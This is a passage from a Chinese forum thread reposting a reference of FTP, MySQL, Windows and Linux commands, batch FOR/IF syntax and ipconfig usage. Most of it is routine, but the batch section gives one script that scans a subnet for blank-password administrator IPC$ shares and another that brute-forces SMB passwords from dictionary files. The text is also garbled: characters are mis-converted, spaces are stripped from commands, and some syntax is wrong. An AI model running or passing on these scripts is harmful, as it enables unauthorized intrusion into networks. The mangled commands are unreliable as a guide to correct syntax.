  rename[from][to]改變遠端主機中的文件名
  rmdirdirectory-name刪除遠端主機中的目錄
  status顯示當前FTP的狀態
  system顯示遠端主機系統類型
  useruser-name[password][account]從新以別的用戶名登陸遠端主機
  openhost[port]從新創建一個新的鏈接
  prompt交互提示模式
  macdef定義宏命令
  lcd改變當前本地主機的工做目錄,若是缺省,就轉到當前用戶的HOME目錄
  chmod改變遠端主機的文件權限
  case當爲ON時,用MGET命令拷貝的文件名到本地機器中,所有轉換爲小寫字母
  cdremote-dir進入遠程主機目錄
  cdup進入遠程主機目錄的父目錄
  !在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
  #5五:
  MYSQL命令:
  mysql-h主機地址-u用戶名-p密碼鏈接MYSQL;若是剛安裝好MYSQL,超級用戶root是沒有密碼的。
  (例:mysql-h110.110.110.110-Uroot-P123456
  注:u與root能夠不用加空格,其它也同樣)
  exit退出MYSQL
  mysqladmin-u用戶名-p舊密碼password新密碼修改密碼
  grantselecton數據庫.*to用戶名@登陸主機identifiedby\"密碼\";增長新用戶。(注意:和上面不一樣,下面的由於是MYSQL環境中的命令,因此後面都帶一個分號做爲命令結束符)
  showdatabases;顯示數據庫列表。剛開始時才兩個數據庫:mysql和test。mysql庫很重要它裏面有MYSQL的系統信息,咱們改密碼和新增用戶,實際上就是用這個庫進行操做。
  usemysql;
  showtables;顯示庫中的數據表
  describe表名;顯示數據表的結構
  createdatabase庫名;建庫
  use庫名;
  createtable表名(字段設定列表);建表
  dropdatabase庫名;
  droptable表名;刪庫和刪表
  deletefrom表名;將表中記錄清空
  select*from表名;顯示錶中的記錄
  mysqldump--optschool>school.bbb備份數據庫:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目錄下執行);註釋:將數據庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
  win2003系統下新增命令(實用部份):
  shutdown/參數關閉或重啓本地或遠程主機。
  參數說明:/S關閉主機,/R重啓主機,/T數字設定延時的時間,範圍0~180秒之間,/A取消開機,/M//IP指定的遠程主機。
  例:shutdown/r/t0當即重啓本地主機(無延時)
  taskill/參數進程名或進程的pid終止一個或多個任務和進程。
  參數說明:/PID要終止進程的pid,可用tasklist命令得到各進程的pid,/IM要終止的進程的進程名,/F強制終止進程,/T終止指定的進程及他所啓動的子進程。
  tasklist顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
  參數說明:/M列出當前進程加載的dll文件,/SVC顯示出每一個進程對應的服務,無參數時就只列出當前的進程。
  #6六:
  Linux系統下基本命令:要區分大小寫
  uname顯示版本信息(同win2K的ver)
  dir顯示當前目錄文件,ls-al顯示包括隱藏文件(同win2K的dir)
  pwd查詢當前所在的目錄位置
  cdcd..回到上一層目錄,注意cd與..之間有空格。cd/返回到根目錄。
  cat文件名查看文件內容
  cat>abc.txt往abc.txt文件中寫上內容。
  more文件名以一頁一頁的方式顯示一個文本文件。
  cp複製文件
  mv移動文件
  rm文件名刪除文件,rm-a目錄名刪除目錄及子目錄
  mkdir目錄名創建目錄
  rmdir刪除子目錄,目錄內沒有文檔。
  chmod設定檔案或目錄的存取權限
  grep在檔案中查找字符串
  diff檔案文件比較
  find檔案搜尋
  date如今的日期、時間
  who查詢目前和你使用同一臺機器的人以及Login時間地點
  做者:diablo6182006-4-1314:37回覆此發言
  --------------------------------------------------------------------------------
  17回覆:dos高級技術
  w查詢目前上機者的詳細資料
  whoami查看本身的賬號名稱
  groups查看某人的Group
  passwd更改密碼
  history查看本身下過的命令
  ps顯示進程狀態
  kill中止某進程
  gcc***一般用它來編譯C語言寫的文件
  su權限轉換爲指定使用者
  telnetIPtelnet鏈接對方主機(同win2K),當出現bash$時就說明鏈接成功。
  ftpftp鏈接上某服務器(同win2K)
  附:批處理命令與變量
  1:for命令及變量基本格式:
  FOR/參數%variableIN(set)DOcommand[command_parameters]%variable:指定一個單一字母可替換的參數,如:%i,而指定一個變量則用:%%i,而調用變量時用:%i%,變量是區分大小寫的(%i不等於%I)。
  批處理每次能處理的變量從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認爲使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]pass/user:user中ip爲%1,pass爲%2,user爲%3
  (set):指定一個或一組文件,可以使用通配符,如:(D:\user.txt)和(11254)(1-1254),{「(11254)」第一個"1"指起始值,第二個"1"指增加量,第三個"254"指結束值,即:從1到254;「(1-1254)」說明:即從254到1}
  command:指定對第個文件執行的命令,如:netuse命令;如要執行多個命令時,命令這間加:&來隔開
  command_parameters:爲特定命令指定參數或命令行開關
  IN(set):指在(set)中取值;DOcommand:指執行command
  參數:/L指用增量形式{(set)爲增量形式時};/F指從文件中不斷取值,直到取完爲止{(set)爲文件時,如(d:\pass.txt)時}。
  用法舉例:
  @echooff
  echo用法格式:test.bat*.*.*>test.txt
  for/L%%Gin(11254)doecho%1.%%G>>test.txt&netuse[url=file://\\%1.%%G]\\%1.%%G[/url]/user:administrator|find"命令成功完成">>test.txt
  存爲test.bat說明:對指定的一個C類網段的254個IP依次試創建administrator密碼爲空的IPC$鏈接,若是成功就把該IP存在test.txt中。
  /L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*爲批處理默認的%1;%%G爲變量(ip的最後一位);&用來隔開echo和netuse這二個命令;|指創建了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G爲完整的IP地址;(11254)指起始值,增加量,結止值。
  @echooff
  echo用法格式:ok.batip
  FOR/F%%iIN(D:\user.dic)DOsmb.exe%1%%iD:\pass.dic200
  存爲:ok.exe說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完爲止。%%i爲用戶名;%1爲輸入的IP地址(默認)。
  #7七:
  2:if命令及變量基本格式:
  IF[not]errorlevel數字命令語句若是程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件爲「真」。
  例:IFerrorlevel0命令指程序執行後返回的值爲0時,就值行後面的命令;IFnoterrorlevel1命令指程序執行最後返回的值不等於1,就執行後面的命令。
  0指發現併成功執行(真);1指沒有發現、沒執行(假)。
  IF[not]字符串1==字符串2命令語句若是指定的文本字符串匹配(即:字符串1等於字符串2),就執行後面的命令。
  例:「if"%2%"=="4"gotostart」指:若是輸入的第二個變量爲4時,執行後面的命令(注意:調用變量時就%變量名%並加"")
  IF[not]exist文件名命令語句若是指定的文件名存在,就執行後面的命令。
  例:「ifnotnc.exegotoend」指:若是沒有發現nc.exe文件就跳到":end"標籤處。
  IF[not]errorlevel數字命令語句else命令語句或IF[not]字符串1==字符串2命令語句else命令語句或IF[not]exist文件名命令語句else命令語句加上:else命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else必須與if在同一行纔有效。當有del命令時需把del命令所有內容用括起來,由於del命令要單獨一行時才能執行,用上後就等因而單獨一行了;例如:「ifexisttest.txt.elseechotest.txt.missing」,注意命令中的「.」
  做者:diablo6182006-4-1314:37回覆此發言
  --------------------------------------------------------------------------------
  19dos:FOR高級技術
  之前常以爲DOS的命令行功能太弱,沒法象UNIX同樣能夠用命令行完成很是複雜的操做。實際上,當MS從WIN2K開始將命令行加強後,已經借鑑了至關多UNIX的優勢,雖然還沒法作到象UNIX那麼靈活,但已可完成絕大多數的任務,好比用&&和||鏈接兩個(或更多)命令,由前一個的返回值來決定下一個是否執行,等等。而在這些加強中,最明顯的,就是FOR命令。
  舉個例子,用適當的參數,可用FOR命令將date/t的輸出從"Sat07/13/2002"變成你想要的格式,好比,"2002-07-13":
  c:\>for/f"tokens=2,3,4delims=/"%ain('date/t')do@echo%c-%a-%b
  2002-07-13
  該例將在(3)中詳細說明。
  0.基本應用
  簡單說,FOR是個循環,能夠用你指定的循環範圍生成一系列命令。最簡單的例子,就是人工指定循環範圍,而後對每一個值執行指定的命令。例如,想快速報告每一個硬盤分區的剩餘空間:
  for%ain(c:d:e:fdo@dir%a\|find"bytesfree"
  將輸出:
  8Dir(s)1,361,334,272bytesfree
  15Dir(s)8,505,581,568bytesfree
  12Dir(s)12,975,149,056bytesfree
  7Dir(s)11,658,854,400bytesfree
  用它可使一些不支持通配符的命令對一系列文件進行操做。在WIN9X中,TYPE命令(顯示文件內容)是不支持*.txt這種格式的(WIN2K開始TYPE已支持通配)。遇到相似狀況就能夠用FOR:
  for%ain(*.txt)dotype%a
  這些還不是FOR最強大的功能。我認爲它最強大的功能,表如今如下這些高級應用:
  1.能夠用/r參數遍歷整個目錄樹
  2.能夠用/f參數將文本文件內容做爲循環範圍
  3.能夠用/f參數將某一命令執行結果做爲循環範圍
  4.能夠用%~操做符將文件名分離成文件名、擴展名、盤符等獨立部分
  現分別舉例說明以下:
  1.用/r遍歷目錄樹
  當用*.*或*.txt等文件名通配符做爲for/r的循環範圍時,能夠對當前目錄下全部文件(包括子目錄裏面的文件)進行操做。舉個例子,你想在當前目錄的全部txt文件(包括子目錄)內容中查找"bluebear"字樣,但因爲find自己不能遍歷子目錄,因此咱們用for:
  for/r.%ain(*.txt)do@find"bluebear"%a
  find前面的@只是讓輸出結果不包括find命令自己。這是DOS很早就有的功能。和FOR無關。
  當用.做爲循環範圍時,for只將子目錄的結構(目錄名)做爲循環範圍,而不包括裏面的文件。有點象TREE命令,不過側重點不一樣。TREE的重點是用很漂亮易讀的格式輸出,而FOR的輸出適合一些自動任務,例如,咱們都知道用CVS管理的項目中,每一個子目錄下都會有一個CVS目錄,有時在軟件發行時咱們想把這些CVS目錄所有去掉:
  for/r.%ain(.)do@ifexist%a\CVSrd/s/q%a\CVS
  先用ifexist判斷一下,是由於for只是機械的對每一個目錄進行列舉,若是有些目錄下面沒有CVS也會被執行到。用ifexist判斷一下比較安全。
  這種刪除命令威力太大,請當心使用。最好是在真正執行以上的刪除命令前,將rd/s/q換成@echo先列出要刪出的目錄,確認無誤後再換回rd/s/q:
  for/r.%ain(.)do@ifexist%a\CVS@echo%a\CVS
  可能目錄中會多出一層".",好比c:\proj\release\.\CVS,但不會影響命令的執行效果。
  2.將某一文件內容或命令執行結果做爲循環範圍:
  假如你有一個文件todel.txt,裏面是全部要刪除的文件列表,如今你想將裏面列出的每一個文件都刪掉。假設這個文件是每一個文件名佔一行,象這樣:
  c:\temp\a1.txt
  c:\temp\a2.txt
  c:\temp\subdir\b3.txt
  c:\temp\subdir\b4.txt
  那麼能夠用FOR來完成:
  for/f%ain(todel.txt)dodel%a
  這個命令還能夠更強大。好比你的todel.txt並非象上面例子那麼幹淨,而是由DIR直接生成,有一些沒用的信息,好比這樣:
  做者:diablo6182006-4-1314:39回覆此發言
  --------------------------------------------------------------------------------
  20dos:FOR高級技術
  VolumeindriveDisDATA
  VolumeSerialNumberisC47C-9908
  DirectoryofD:\tmp
  09/26/200112:50PM18,426alg0925.txt
  12/02/200104:29AM795bsample.txt
  04/11/200204:18AM2,043invitation.txt
  4File(s)25,651bytes
  0Dir(s)4,060,700,672bytesfree
  for仍然能夠解出其中的文件名並進行操做:
  for/f"skip=5tokens=5"%ain(todel.txt)do@ifexist%aDEL%a
  固然,上面這個命令是在進行刪除,若是你只是想看看哪些文件將被操做,把DEL換成echo:
  for/f"skip=5tokens=5"%ain(todel.txt)do@ifexist%aecho%a
  你將看到:
  alg0925.txt
  bsample.txt
  invitation.txt
  skip=5表示跳過前5行(就是DIR輸出的頭部信息),tokens=5表示將每行的第5列做爲循環值放入%a,正好是文件名。在這裏我加了一個文件存在判斷,是由於最後一行的"free"恰好也是第5列,目前還想不出好的辦法來濾掉最後兩行,因此檢查一下可保萬無一失。
  3.能夠用/f參數將某一命令執行結果做爲循環範圍
  很是有用的功能。好比,咱們想知道目前的環境變量有哪些名字(咱們只要名字,不要值)。但是SET命令的輸出是「名字=值」的格式,如今能夠用FOR來只取得名字部分:
  FOR/F"delims=="%iIN('set')DO@echo%i
  將看到:
  ALLUSERSPROFILE
  APPDATA
  CLASSPATH
  CommonProgramFiles
  COMPUTERNAME
  ComSpec
  dircmd
  HOMEDRIVE
  ......
  這裏是將set命令執行的結果拿來做爲循環範圍。delims==表示用=做爲分隔符,因爲FOR/F默認是用每行第一個TOKEN,因此能夠分離出變量名。若是是想僅列出值:
  FOR/F"delims==tokens=2"%iIN('set')DO@echo%i
  tokens=2和前例相同,表示將第二列(由=做爲分隔符)做爲循環值。
  再來個更有用的例子:
  咱們知道date/t(/t表示不要詢問用戶輸入)的輸出是象這樣的:
  Sat07/13/2002
  如今我想分離出日期部分,也就是13:
  for/f"tokens=3delims=/"%ain('date/t')do@echo%a
  實際上把tokens後面換成1,2,3或4,你將分別獲得Sat,07,13和2002。注意delims=/後面還有個空格,表示/和空格都是分隔符。因爲這個空格delims必須是/f選項的最後一項。
  再靈活一點,象本文開頭提到的,將日期用2002-07-13的格式輸出:
  for/f"tokens=2,3,4delims=/"%ain('date/t')do@echo%c-%a-%b
  當tokens後跟多個值時,將分別映射到%a,%b,%c等。實際上跟你指定的變量有關,若是你指定的是%i,它們就會用%i,%j,%k等。
  靈活應用這一點,幾乎沒有作不了的事。
  4.能夠用%~操做符將文件名分離成文件名、擴展名、盤符等獨立部分
  這個比較簡單,就是說將循環變量的值自動分離成只要文件名,只要擴展名,或只要盤符等等。
  例:要將c:\mp3下全部mp3的歌名列出,若是用通常的dir/b/s或for/r,將會是這樣:
  g:\mp3\Archived\05-18-01-A\游鴻明-下沙\游鴻明-01下沙.mp3
  g:\mp3\Archived\05-18-01-A\游鴻明-下沙\游鴻明-0221我的.mp3
  ......
  g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-阿修羅.mp3
  g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-彼岸花.mp3
  g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-不愛個人我不愛.mp3
  ......
  若是我只要歌名(不要路徑和".mp3"):
  游鴻明-01下沙
  游鴻明-0221我的
  ......
  王菲-阿修羅
  王菲-彼岸花
  王菲-不愛個人我不愛
  ......
  那麼能夠用FOR命令:
  for/rg:\mp3%ain(*.mp3)do@echo%~na
  凡是%~開頭的操做符,都是文件名的分離操做。具體請看for/?幫助。
  本文舉的例子有些可能沒有實際用處,或可用其它辦法完成。僅用於體現FOR能夠不借助其它工具,僅用DOS命令組合,就可完成至關靈活的任務。
  具體請看for/?幫助
  做者:diablo6182006-4-1314:39回覆此發言
  --------------------------------------------------------------------------------
  21dos網絡命令全集
  2、ipconfig/winipcfg
  與ping命有所區別,利用ipconfig和winipcfg工具能夠查看和修改網絡中的tcp/ip協議的有關配置,如ip地址、網關、子網掩碼等。還能夠查看主機的相關信息如:主機名、dns服務器、節點類型等。其中網絡適配器的物理地址在檢測網絡錯誤時很是有用。這兩個工具在windows95/98中都能使用,功能基本相同,只是ipconfig是以dos的字符形式顯示,而winipcfg則用圖形界面顯示,也就是其實兩個工具是一個工具,只不過一個是dos下的版本,另外一個爲windwos下的版本,但要注意,在windowsnt中只能運行於dos方式下的ipconfig工具。(在命令提示符下鍵入winipcfg/?或ipconfig可得到winipcfg或ipconfig的使用幫助。)
  主要功能:顯示用戶所在主機內部的ip協議的配置信息
  一、ipconfig命令的語法格式
  ipconfig[/all][/batchfile][/renewall][/releaseall][/renewn][/releasen]
  all——顯示與tcp/ip協議相關的全部細節信息,其中包括測試的主機名、ip地址、子網掩碼、節點類型、是否啓用ip路由、網卡的物理地址、默認網關等。
  batchfile——將測試的結果存入指定的「file「文件名中,以便於逐項查看,若是省略file文件名,則系統會把這測試的結果保存在系統的「winipcfg.out」文件中。
  renewall——更新所有適配器的通訊配置狀況,全部測試從新開始。
  releaseall——釋放所有適配器的通訊配置狀況。
  renewn——更新第n號適配器的通訊配置狀況,全部測試從新開始。
  releasen——釋放第n號適配器的通訊配置狀況。
  二、winipcfg命令
  winipcfg工具的功能與ipconfig基本相同,只是winipcfg是以圖形界面的方式顯示,在操做上更加方便。當用戶須要查看任何一臺機器上tcp/ip協議的配置狀況時,只需在windows95/98上選擇「開始→運行」,在出現的對話框中輸入命令「winipcfg」,將出現測試結果。如何種類型的網卡、網卡的物理地址、主機的ip地址、子網掩碼、路由器的地址、若是用戶想更加詳細地瞭解該主機的其餘ip協議配置信息,例如dns服務器、dhcp服務器等方面的信息,能夠直接單擊該界面中的「詳細信息」按鈕。單擊「詳細信息」按鈕,在隨後出現的對話框中能夠查看和改變tcp/ip的有關配置參數。當一臺機器上安裝有多個網卡時,還能夠查找到每一個網卡的物理地址和有關協議的綁定狀況等。
  三、ipconfig/winipcfg的應用
  (1)、查找目標主機的ip地址及其它有關tcp/ip協議的信息。方法以下:按「開始」菜單執行「運行」菜單項,輸入winipcfg,就會出現一個ip組態窗口,這裏會顯示有關於你目前網絡ip的一些詳細設置數據。或者,你也能夠在ms-dos模式下,輸入ipconfig,也是同樣能夠顯示詳細的ip信息,只不過此畫面是在dos下而已。
  (2)、ipconfig/winipcfg應該說是一款網絡偵察的利器,尤爲當用戶的網絡中設置的是dhcp(動態ip地址配置協議)時,利用ipconfig/winipcfg可讓用戶很方便地瞭解到所用ipconfig/winipcfg機的ip地址的實際配置狀況。由於它有一個「/all」這個參數,因此它可偵查到本機上全部網絡適配的ip地址分配狀況,比ping命令更爲詳細。若是咱們在計算機bb_data客戶端上運行「ipconfig/all/batchdata.txt」後,打開data.txt文件,將能很是詳細地顯示全部與tcp/ip協議有關的配置狀況。固然與ping相比也有它的不足之處就是它只能在本機
 mysql

相關文章
相關標籤/搜索